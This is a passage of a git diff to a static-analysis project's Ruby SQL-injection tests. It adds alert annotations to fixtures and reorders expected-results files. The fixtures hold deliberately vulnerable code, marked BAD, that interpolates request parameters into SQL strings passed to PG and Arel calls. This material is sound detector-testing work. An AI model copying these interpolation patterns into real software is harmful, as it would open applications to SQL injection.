Arel::Nodes::SqlLiteral.new("SELECT * FROM users WHERE name = #{name}") # $ Alert end end \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-089/PgInjection.rb b/ruby/ql/test/query-tests/security/cwe-089/PgInjection.rb index 549be489858..c44e078ee84 100644 --- a/ruby/ql/test/query-tests/security/cwe-089/PgInjection.rb +++ b/ruby/ql/test/query-tests/security/cwe-089/PgInjection.rb @@ -3,7 +3,7 @@ class FooController < ActionController::Base def some_request_handler # A string tainted by user input is inserted into a query # (i.e a remote flow source) - name = params[:name] + name = params[:name] # $ Source # Establish a connection to a PostgreSQL database conn = PG::Connection.open(:dbname => 'postgresql', :user => 'user', :password => 'pass', :host => 'localhost', :port => '5432') @@ -11,14 +11,14 @@ class FooController < ActionController::Base # .exec() and .async_exec() # BAD: SQL statement constructed from user input qry1 = "SELECT * FROM users WHERE username = '#{name}';" - conn.exec(qry1) - conn.async_exec(qry1) + conn.exec(qry1) # $ Alert + conn.async_exec(qry1) # $ Alert # .exec_params() and .async_exec_params() # BAD: SQL statement constructed from user input qry2 = "SELECT * FROM users WHERE username = '#{name}';" - conn.exec_params(qry2) - conn.async_exec_params(qry2) + conn.exec_params(qry2) # $ Alert + conn.async_exec_params(qry2) # $ Alert # .exec_params() and .async_exec_params() # GOOD: SQL statement constructed from sanitized user input @@ -29,7 +29,7 @@ class FooController < ActionController::Base # .prepare() and .exec_prepared() # BAD: SQL statement constructed from user input qry3 = "SELECT * FROM users WHERE username = '#{name}';" - conn.prepare("query_1", qry3) + conn.prepare("query_1", qry3) # $ Alert conn.exec_prepared('query_1') # .prepare() and .exec_prepared() @@ -41,7 +41,7 @@ class FooController < ActionController::Base # .prepare() and .exec_prepared() # NOT EXECUTED: SQL statement constructed from user input but not executed qry3 = "SELECT * FROM users WHERE username = '#{name}';" - conn.prepare("query_3", qry3) + conn.prepare("query_3", qry3) # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.expected b/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.expected index 069cb34810f..f1c2646afce 100644 --- a/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.expected +++ b/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.expected @@ -1,3 +1,52 @@ +#select +| ActiveRecordInjection.rb:10:33:10:67 | "name='#{...}' and pass='#{...}'" | ActiveRecordInjection.rb:77:23:77:28 | call to params | ActiveRecordInjection.rb:10:33:10:67 | "name='#{...}' and pass='#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:77:23:77:28 | call to params | user-provided value | +| ActiveRecordInjection.rb:10:33:10:67 | "name='#{...}' and pass='#{...}'" | ActiveRecordInjection.rb:77:38:77:43 | call to params | ActiveRecordInjection.rb:10:33:10:67 | "name='#{...}' and pass='#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:77:38:77:43 | call to params | user-provided value | +| ActiveRecordInjection.rb:12:31:12:65 | "name='#{...}' and pass='#{...}'" | ActiveRecordInjection.rb:77:23:77:28 | call to params | ActiveRecordInjection.rb:12:31:12:65 | "name='#{...}' and pass='#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:77:23:77:28 | call to params | user-provided value | +| ActiveRecordInjection.rb:12:31:12:65 | "name='#{...}' and pass='#{...}'" | ActiveRecordInjection.rb:77:38:77:43 | call to params | ActiveRecordInjection.rb:12:31:12:65 | "name='#{...}' and pass='#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:77:38:77:43 | call to params | user-provided value | +| ActiveRecordInjection.rb:16:13:16:26 | "name=#{...}" | ActiveRecordInjection.rb:77:23:77:28 | call to params | ActiveRecordInjection.rb:16:13:16:26 | "name=#{...}" | This SQL query depends on a $@. | ActiveRecordInjection.rb:77:23:77:28 | call to params | user-provided value | +| ActiveRecordInjection.rb:30:16:30:24 | condition | ActiveRecordInjection.rb:174:21:174:26 | call to params | ActiveRecordInjection.rb:30:16:30:24 | condition | This SQL query depends on a $@. | ActiveRecordInjection.rb:174:21:174:26 | call to params | user-provided value | +| ActiveRecordInjection.rb:42:30:42:44 | ...[...] | ActiveRecordInjection.rb:42:30:42:35 | call to params | ActiveRecordInjection.rb:42:30:42:44 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:42:30:42:35 | call to params | user-provided value | +| ActiveRecordInjection.rb:46:18:46:32 | ...[...] | ActiveRecordInjection.rb:46:18:46:23 | call to params | ActiveRecordInjection.rb:46:18:46:32 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:46:18:46:23 | call to params | user-provided value | +| ActiveRecordInjection.rb:50:20:50:42 | "id = '#{...}'" | ActiveRecordInjection.rb:50:29:50:34 | call to params | ActiveRecordInjection.rb:50:20:50:42 | "id = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:50:29:50:34 | call to params | user-provided value | +| ActiveRecordInjection.rb:55:21:55:43 | "id = '#{...}'" | ActiveRecordInjection.rb:55:30:55:35 | call to params | ActiveRecordInjection.rb:55:21:55:43 | "id = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:55:30:55:35 | call to params | user-provided value | +| ActiveRecordInjection.rb:59:21:59:45 | call to [] | ActiveRecordInjection.rb:59:31:59:36 | call to params | ActiveRecordInjection.rb:59:21:59:45 | call to [] | This SQL query depends on a $@. | ActiveRecordInjection.rb:59:31:59:36 | call to params | user-provided value | +| ActiveRecordInjection.rb:64:22:64:46 | call to [] | ActiveRecordInjection.rb:64:32:64:37 | call to params | ActiveRecordInjection.rb:64:22:64:46 | call to [] | This SQL query depends on a $@. | ActiveRecordInjection.rb:64:32:64:37 | call to params | user-provided value | +| ActiveRecordInjection.rb:68:16:68:21 | <<-SQL | ActiveRecordInjection.rb:69:21:69:26 | call to params | ActiveRecordInjection.rb:68:16:68:21 | <<-SQL | This SQL query depends on a $@. | ActiveRecordInjection.rb:69:21:69:26 | call to params | user-provided value | +| ActiveRecordInjection.rb:75:20:75:47 | "user.id = '#{...}'" | ActiveRecordInjection.rb:75:34:75:39 | call to params | ActiveRecordInjection.rb:75:20:75:47 | "user.id = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:75:34:75:39 | call to params | user-provided value | +| ActiveRecordInjection.rb:81:32:81:54 | "id = '#{...}'" | ActiveRecordInjection.rb:81:41:81:46 | call to params | ActiveRecordInjection.rb:81:32:81:54 | "id = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:81:41:81:46 | call to params | user-provided value | +| ActiveRecordInjection.rb:86:23:86:35 | ...[...] | ActiveRecordInjection.rb:86:23:86:28 | call to params | ActiveRecordInjection.rb:86:23:86:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:86:23:86:28 | call to params | user-provided value | +| ActiveRecordInjection.rb:90:17:90:31 | ...[...] | ActiveRecordInjection.rb:90:17:90:22 | call to params | ActiveRecordInjection.rb:90:17:90:31 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:90:17:90:22 | call to params | user-provided value | +| ActiveRecordInjection.rb:91:19:91:33 | ...[...] | ActiveRecordInjection.rb:91:19:91:24 | call to params | ActiveRecordInjection.rb:91:19:91:33 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:91:19:91:24 | call to params | user-provided value | +| ActiveRecordInjection.rb:95:18:95:35 | ...[...] | ActiveRecordInjection.rb:95:18:95:23 | call to params | ActiveRecordInjection.rb:95:18:95:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:95:18:95:23 | call to params | user-provided value | +| ActiveRecordInjection.rb:99:21:99:35 | ...[...] | ActiveRecordInjection.rb:99:21:99:26 | call to params | ActiveRecordInjection.rb:99:21:99:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:99:21:99:26 | call to params | user-provided value | +| ActiveRecordInjection.rb:107:20:107:55 | "name = '#{...}'" | ActiveRecordInjection.rb:107:31:107:36 | call to params | ActiveRecordInjection.rb:107:20:107:55 | "name = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:107:31:107:36 | call to params | user-provided value | +| ActiveRecordInjection.rb:111:19:111:54 | "name = '#{...}'" | ActiveRecordInjection.rb:111:30:111:35 | call to params | ActiveRecordInjection.rb:111:19:111:54 | "name = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:111:30:111:35 | call to params | user-provided value | +| ActiveRecordInjection.rb:113:18:113:35 | ...[...] | ActiveRecordInjection.rb:113:18:113:23 | call to params | ActiveRecordInjection.rb:113:18:113:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:113:18:113:23 | call to params | user-provided value | +| ActiveRecordInjection.rb:115:26:115:40 | ...[...] | ActiveRecordInjection.rb:115:26:115:31 | call to params | ActiveRecordInjection.rb:115:26:115:40 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:115:26:115:31 | call to params | user-provided value | +| ActiveRecordInjection.rb:116:28:116:42 | ...[...] | ActiveRecordInjection.rb:116:28:116:33 | call to params | ActiveRecordInjection.rb:116:28:116:42 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:116:28:116:33 | call to params | user-provided value | +| ActiveRecordInjection.rb:117:25:117:49 | "b #{...}" | ActiveRecordInjection.rb:117:30:117:35 | call to params | ActiveRecordInjection.rb:117:25:117:49 | "b #{...}" | This SQL query depends on a $@. | ActiveRecordInjection.rb:117:30:117:35 | call to params | user-provided value | +| ActiveRecordInjection.rb:118:27:118:51 | "b #{...}" | ActiveRecordInjection.rb:118:32:118:37 | call to params | ActiveRecordInjection.rb:118:27:118:51 | "b #{...}" | This SQL query depends on a $@. | ActiveRecordInjection.rb:118:32:118:37 | call to params | user-provided value | +| ActiveRecordInjection.rb:119:21:119:35 | ...[...] | ActiveRecordInjection.rb:119:21:119:26 | call to params | ActiveRecordInjection.rb:119:21:119:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:119:21:119:26 | call to params | user-provided value | +| ActiveRecordInjection.rb:120:21:120:35 | ...[...] | ActiveRecordInjection.rb:120:21:120:26 | call to params | ActiveRecordInjection.rb:120:21:120:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:120:21:120:26 | call to params | user-provided value | +| ActiveRecordInjection.rb:121:20:121:34 | ...[...] | ActiveRecordInjection.rb:121:20:121:25 | call to params | ActiveRecordInjection.rb:121:20:121:34 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:121:20:121:25 | call to params | user-provided value | +| ActiveRecordInjection.rb:123:23:123:47 | ...[...] | ActiveRecordInjection.rb:123:23:123:28 | call to params | ActiveRecordInjection.rb:123:23:123:47 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:123:23:123:28 | call to params | user-provided value | +| ActiveRecordInjection.rb:127:19:127:30 | ...[...] | ActiveRecordInjection.rb:127:19:127:24 | call to params | ActiveRecordInjection.rb:127:19:127:30 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:127:19:127:24 | call to params | user-provided value | +| ActiveRecordInjection.rb:129:29:129:39 | ...[...] | ActiveRecordInjection.rb:129:29:129:34 | call to params | ActiveRecordInjection.rb:129:29:129:39 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:129:29:129:34 | call to params | user-provided value | +| ActiveRecordInjection.rb:141:20:141:32 | ... + ... | ActiveRecordInjection.rb:135:10:135:15 | call to params | ActiveRecordInjection.rb:141:20:141:32 | ... + ... | This SQL query depends on a $@. | ActiveRecordInjection.rb:135:10:135:15 | call to params | user-provided value | +| ActiveRecordInjection.rb:174:21:174:44 | ...[...] | ActiveRecordInjection.rb:174:21:174:26 | call to params | ActiveRecordInjection.rb:174:21:174:44 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:174:21:174:26 | call to params | user-provided value | +| ActiveRecordInjection.rb:188:27:188:76 | "this is an unsafe annotation:..." | ActiveRecordInjection.rb:188:59:188:64 | call to params | ActiveRecordInjection.rb:188:27:188:76 | "this is an unsafe annotation:..." | This SQL query depends on a $@. | ActiveRecordInjection.rb:188:59:188:64 | call to params | user-provided value | +| ActiveRecordInjection.rb:201:37:201:41 | query | ActiveRecordInjection.rb:206:5:206:10 | call to params | ActiveRecordInjection.rb:201:37:201:41 | query | This SQL query depends on a $@. | ActiveRecordInjection.rb:206:5:206:10 | call to params | user-provided value | +| ActiveRecordInjection.rb:210:43:210:104 | "SELECT * FROM users WHERE id ..." | ActiveRecordInjection.rb:206:5:206:10 | call to params | ActiveRecordInjection.rb:210:43:210:104 | "SELECT * FROM users WHERE id ..." | This SQL query depends on a $@. | ActiveRecordInjection.rb:206:5:206:10 | call to params | user-provided value | +| ActiveRecordInjection.rb:211:35:211:96 | "SELECT * FROM users WHERE id ..." | ActiveRecordInjection.rb:206:5:206:10 | call to params | ActiveRecordInjection.rb:211:35:211:96 | "SELECT * FROM users WHERE id ..." | This SQL query depends on a $@. | ActiveRecordInjection.rb:206:5:206:10 | call to params | user-provided value | +| ActiveRecordInjection.rb:216:38:216:53 | "role = #{...}" | ActiveRecordInjection.rb:222:29:222:34 | call to params | ActiveRecordInjection.rb:216:38:216:53 | "role = #{...}" | This SQL query depends on a $@. | ActiveRecordInjection.rb:222:29:222:34 | call to params | user-provided value | +| ArelInjection.rb:6:20:6:61 | "SELECT * FROM users WHERE nam..." | ArelInjection.rb:4:12:4:17 | call to params | ArelInjection.rb:6:20:6:61 | "SELECT * FROM users WHERE nam..." | This SQL query depends on a $@. | ArelInjection.rb:4:12:4:17 | call to params | user-provided value | +| ArelInjection.rb:7:39:7:80 | "SELECT * FROM users WHERE nam..." | ArelInjection.rb:4:12:4:17 | call to params | ArelInjection.rb:7:39:7:80 | "SELECT * FROM users WHERE nam..." | This SQL query depends on a $@. | ArelInjection.rb:4:12:4:17 | call to params | user-provided value | +| PgInjection.rb:14:15:14:18 | qry1 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:14:15:14:18 | qry1 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | +| PgInjection.rb:15:21:15:24 | qry1 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:15:21:15:24 | qry1 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | +| PgInjection.rb:20:22:20:25 | qry2 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:20:22:20:25 | qry2 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | +| PgInjection.rb:21:28:21:31 | qry2 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:21:28:21:31 | qry2 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | +| PgInjection.rb:32:29:32:32 | qry3 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:32:29:32:32 | qry3 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | +| PgInjection.rb:44:29:44:32 | qry3 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:44:29:44:32 | qry3 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | edges | ActiveRecordInjection.rb:8:25:8:28 | name | ActiveRecordInjection.rb:10:33:10:67 | "name='#{...}' and pass='#{...}'" | provenance | AdditionalTaintStep | | ActiveRecordInjection.rb:8:25:8:28 | name | ActiveRecordInjection.rb:12:31:12:65 | "name='#{...}' and pass='#{...}'" | provenance | AdditionalTaintStep | @@ -223,52 +272,3 @@ nodes | PgInjection.rb:43:5:43:8 | qry3 : String | semmle.label | qry3 : String | | PgInjection.rb:44:29:44:32 | qry3 | semmle.label | qry3 | subpaths -#select -| ActiveRecordInjection.rb:10:33:10:67 | "name='#{...}' and pass='#{...}'" | ActiveRecordInjection.rb:77:23:77:28 | call to params | ActiveRecordInjection.rb:10:33:10:67 | "name='#{...}' and pass='#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:77:23:77:28 | call to params | user-provided value | -| ActiveRecordInjection.rb:10:33:10:67 | "name='#{...}' and pass='#{...}'" | ActiveRecordInjection.rb:77:38:77:43 | call to params | ActiveRecordInjection.rb:10:33:10:67 | "name='#{...}' and pass='#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:77:38:77:43 | call to params | user-provided value | -| ActiveRecordInjection.rb:12:31:12:65 | "name='#{...}' and pass='#{...}'" | ActiveRecordInjection.rb:77:23:77:28 | call to params | ActiveRecordInjection.rb:12:31:12:65 | "name='#{...}' and pass='#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:77:23:77:28 | call to params | user-provided value | -| ActiveRecordInjection.rb:12:31:12:65 | "name='#{...}' and pass='#{...}'" | ActiveRecordInjection.rb:77:38:77:43 | call to params | ActiveRecordInjection.rb:12:31:12:65 | "name='#{...}' and pass='#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:77:38:77:43 | call to params | user-provided value | -| ActiveRecordInjection.rb:16:13:16:26 | "name=#{...}" | ActiveRecordInjection.rb:77:23:77:28 | call to params | ActiveRecordInjection.rb:16:13:16:26 | "name=#{...}" | This SQL query depends on a $@. | ActiveRecordInjection.rb:77:23:77:28 | call to params | user-provided value | -| ActiveRecordInjection.rb:30:16:30:24 | condition | ActiveRecordInjection.rb:174:21:174:26 | call to params | ActiveRecordInjection.rb:30:16:30:24 | condition | This SQL query depends on a $@. | ActiveRecordInjection.rb:174:21:174:26 | call to params | user-provided value | -| ActiveRecordInjection.rb:42:30:42:44 | ...[...] | ActiveRecordInjection.rb:42:30:42:35 | call to params | ActiveRecordInjection.rb:42:30:42:44 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:42:30:42:35 | call to params | user-provided value | -| ActiveRecordInjection.rb:46:18:46:32 | ...[...] | ActiveRecordInjection.rb:46:18:46:23 | call to params | ActiveRecordInjection.rb:46:18:46:32 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:46:18:46:23 | call to params | user-provided value | -| ActiveRecordInjection.rb:50:20:50:42 | "id = '#{...}'" | ActiveRecordInjection.rb:50:29:50:34 | call to params | ActiveRecordInjection.rb:50:20:50:42 | "id = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:50:29:50:34 | call to params | user-provided value | -| ActiveRecordInjection.rb:55:21:55:43 | "id = '#{...}'" | ActiveRecordInjection.rb:55:30:55:35 | call to params | ActiveRecordInjection.rb:55:21:55:43 | "id = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:55:30:55:35 | call to params | user-provided value | -| ActiveRecordInjection.rb:59:21:59:45 | call to [] | ActiveRecordInjection.rb:59:31:59:36 | call to params | ActiveRecordInjection.rb:59:21:59:45 | call to [] | This SQL query depends on a $@. | ActiveRecordInjection.rb:59:31:59:36 | call to params | user-provided value | -| ActiveRecordInjection.rb:64:22:64:46 | call to [] | ActiveRecordInjection.rb:64:32:64:37 | call to params | ActiveRecordInjection.rb:64:22:64:46 | call to [] | This SQL query depends on a $@. | ActiveRecordInjection.rb:64:32:64:37 | call to params | user-provided value | -| ActiveRecordInjection.rb:68:16:68:21 | <<-SQL | ActiveRecordInjection.rb:69:21:69:26 | call to params | ActiveRecordInjection.rb:68:16:68:21 | <<-SQL | This SQL query depends on a $@. | ActiveRecordInjection.rb:69:21:69:26 | call to params | user-provided value | -| ActiveRecordInjection.rb:75:20:75:47 | "user.id = '#{...}'" | ActiveRecordInjection.rb:75:34:75:39 | call to params | ActiveRecordInjection.rb:75:20:75:47 | "user.id = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:75:34:75:39 | call to params | user-provided value | -| ActiveRecordInjection.rb:81:32:81:54 | "id = '#{...}'" | ActiveRecordInjection.rb:81:41:81:46 | call to params | ActiveRecordInjection.rb:81:32:81:54 | "id = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:81:41:81:46 | call to params | user-provided value | -| ActiveRecordInjection.rb:86:23:86:35 | ...[...] | ActiveRecordInjection.rb:86:23:86:28 | call to params | ActiveRecordInjection.rb:86:23:86:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:86:23:86:28 | call to params | user-provided value | -| ActiveRecordInjection.rb:90:17:90:31 | ...[...] | ActiveRecordInjection.rb:90:17:90:22 | call to params | ActiveRecordInjection.rb:90:17:90:31 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:90:17:90:22 | call to params | user-provided value | -| ActiveRecordInjection.rb:91:19:91:33 | ...[...] | ActiveRecordInjection.rb:91:19:91:24 | call to params | ActiveRecordInjection.rb:91:19:91:33 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:91:19:91:24 | call to params | user-provided value | -| ActiveRecordInjection.rb:95:18:95:35 | ...[...] | ActiveRecordInjection.rb:95:18:95:23 | call to params | ActiveRecordInjection.rb:95:18:95:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:95:18:95:23 | call to params | user-provided value | -| ActiveRecordInjection.rb:99:21:99:35 | ...[...] | ActiveRecordInjection.rb:99:21:99:26 | call to params | ActiveRecordInjection.rb:99:21:99:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:99:21:99:26 | call to params | user-provided value | -| ActiveRecordInjection.rb:107:20:107:55 | "name = '#{...}'" | ActiveRecordInjection.rb:107:31:107:36 | call to params | ActiveRecordInjection.rb:107:20:107:55 | "name = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:107:31:107:36 | call to params | user-provided value | -| ActiveRecordInjection.rb:111:19:111:54 | "name = '#{...}'" | ActiveRecordInjection.rb:111:30:111:35 | call to params | ActiveRecordInjection.rb:111:19:111:54 | "name = '#{...}'" | This SQL query depends on a $@. | ActiveRecordInjection.rb:111:30:111:35 | call to params | user-provided value | -| ActiveRecordInjection.rb:113:18:113:35 | ...[...] | ActiveRecordInjection.rb:113:18:113:23 | call to params | ActiveRecordInjection.rb:113:18:113:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:113:18:113:23 | call to params | user-provided value | -| ActiveRecordInjection.rb:115:26:115:40 | ...[...] | ActiveRecordInjection.rb:115:26:115:31 | call to params | ActiveRecordInjection.rb:115:26:115:40 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:115:26:115:31 | call to params | user-provided value | -| ActiveRecordInjection.rb:116:28:116:42 | ...[...] | ActiveRecordInjection.rb:116:28:116:33 | call to params | ActiveRecordInjection.rb:116:28:116:42 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:116:28:116:33 | call to params | user-provided value | -| ActiveRecordInjection.rb:117:25:117:49 | "b #{...}" | ActiveRecordInjection.rb:117:30:117:35 | call to params | ActiveRecordInjection.rb:117:25:117:49 | "b #{...}" | This SQL query depends on a $@. | ActiveRecordInjection.rb:117:30:117:35 | call to params | user-provided value | -| ActiveRecordInjection.rb:118:27:118:51 | "b #{...}" | ActiveRecordInjection.rb:118:32:118:37 | call to params | ActiveRecordInjection.rb:118:27:118:51 | "b #{...}" | This SQL query depends on a $@. | ActiveRecordInjection.rb:118:32:118:37 | call to params | user-provided value | -| ActiveRecordInjection.rb:119:21:119:35 | ...[...] | ActiveRecordInjection.rb:119:21:119:26 | call to params | ActiveRecordInjection.rb:119:21:119:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:119:21:119:26 | call to params | user-provided value | -| ActiveRecordInjection.rb:120:21:120:35 | ...[...] | ActiveRecordInjection.rb:120:21:120:26 | call to params | ActiveRecordInjection.rb:120:21:120:35 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:120:21:120:26 | call to params | user-provided value | -| ActiveRecordInjection.rb:121:20:121:34 | ...[...] | ActiveRecordInjection.rb:121:20:121:25 | call to params | ActiveRecordInjection.rb:121:20:121:34 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:121:20:121:25 | call to params | user-provided value | -| ActiveRecordInjection.rb:123:23:123:47 | ...[...] | ActiveRecordInjection.rb:123:23:123:28 | call to params | ActiveRecordInjection.rb:123:23:123:47 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:123:23:123:28 | call to params | user-provided value | -| ActiveRecordInjection.rb:127:19:127:30 | ...[...] | ActiveRecordInjection.rb:127:19:127:24 | call to params | ActiveRecordInjection.rb:127:19:127:30 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:127:19:127:24 | call to params | user-provided value | -| ActiveRecordInjection.rb:129:29:129:39 | ...[...] | ActiveRecordInjection.rb:129:29:129:34 | call to params | ActiveRecordInjection.rb:129:29:129:39 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:129:29:129:34 | call to params | user-provided value | -| ActiveRecordInjection.rb:141:20:141:32 | ... + ... | ActiveRecordInjection.rb:135:10:135:15 | call to params | ActiveRecordInjection.rb:141:20:141:32 | ... + ... | This SQL query depends on a $@. | ActiveRecordInjection.rb:135:10:135:15 | call to params | user-provided value | -| ActiveRecordInjection.rb:174:21:174:44 | ...[...] | ActiveRecordInjection.rb:174:21:174:26 | call to params | ActiveRecordInjection.rb:174:21:174:44 | ...[...] | This SQL query depends on a $@. | ActiveRecordInjection.rb:174:21:174:26 | call to params | user-provided value | -| ActiveRecordInjection.rb:188:27:188:76 | "this is an unsafe annotation:..." | ActiveRecordInjection.rb:188:59:188:64 | call to params | ActiveRecordInjection.rb:188:27:188:76 | "this is an unsafe annotation:..." | This SQL query depends on a $@. | ActiveRecordInjection.rb:188:59:188:64 | call to params | user-provided value | -| ActiveRecordInjection.rb:201:37:201:41 | query | ActiveRecordInjection.rb:206:5:206:10 | call to params | ActiveRecordInjection.rb:201:37:201:41 | query | This SQL query depends on a $@. | ActiveRecordInjection.rb:206:5:206:10 | call to params | user-provided value | -| ActiveRecordInjection.rb:210:43:210:104 | "SELECT * FROM users WHERE id ..." | ActiveRecordInjection.rb:206:5:206:10 | call to params | ActiveRecordInjection.rb:210:43:210:104 | "SELECT * FROM users WHERE id ..." | This SQL query depends on a $@. | ActiveRecordInjection.rb:206:5:206:10 | call to params | user-provided value | -| ActiveRecordInjection.rb:211:35:211:96 | "SELECT * FROM users WHERE id ..." | ActiveRecordInjection.rb:206:5:206:10 | call to params | ActiveRecordInjection.rb:211:35:211:96 | "SELECT * FROM users WHERE id ..." | This SQL query depends on a $@. | ActiveRecordInjection.rb:206:5:206:10 | call to params | user-provided value | -| ActiveRecordInjection.rb:216:38:216:53 | "role = #{...}" | ActiveRecordInjection.rb:222:29:222:34 | call to params | ActiveRecordInjection.rb:216:38:216:53 | "role = #{...}" | This SQL query depends on a $@. | ActiveRecordInjection.rb:222:29:222:34 | call to params | user-provided value | -| ArelInjection.rb:6:20:6:61 | "SELECT * FROM users WHERE nam..." | ArelInjection.rb:4:12:4:17 | call to params | ArelInjection.rb:6:20:6:61 | "SELECT * FROM users WHERE nam..." | This SQL query depends on a $@. | ArelInjection.rb:4:12:4:17 | call to params | user-provided value | -| ArelInjection.rb:7:39:7:80 | "SELECT * FROM users WHERE nam..." | ArelInjection.rb:4:12:4:17 | call to params | ArelInjection.rb:7:39:7:80 | "SELECT * FROM users WHERE nam..." | This SQL query depends on a $@. | ArelInjection.rb:4:12:4:17 | call to params | user-provided value | -| PgInjection.rb:14:15:14:18 | qry1 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:14:15:14:18 | qry1 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | -| PgInjection.rb:15:21:15:24 | qry1 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:15:21:15:24 | qry1 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | -| PgInjection.rb:20:22:20:25 | qry2 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:20:22:20:25 | qry2 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | -| PgInjection.rb:21:28:21:31 | qry2 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:21:28:21:31 | qry2 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | -| PgInjection.rb:32:29:32:32 | qry3 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:32:29:32:32 | qry3 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | -| PgInjection.rb:44:29:44:32 | qry3 | PgInjection.rb:6:12:6:17 | call to params | PgInjection.rb:44:29:44:32 | qry3 | This SQL query depends on a $@. | PgInjection.rb:6:12:6:17 | call to params | user-provided value | diff --git a/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.qlref b/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.qlref index bcb55c8510f..7fb79e3340d 100644 --- a/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.qlref +++ b/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.qlref @@ -1 +1,2 @@ -queries/security/cwe-089/SqlInjection.ql +query: queries/security/cwe-089/SqlInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.expected b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.expected index eae7c03a716..8232d96d8b7 100644 --- a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.expected +++ b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.expected @@ -1,3 +1,15 @@ +#select +| impl/unsafeCode.rb:3:17:3:25 | #{...} | 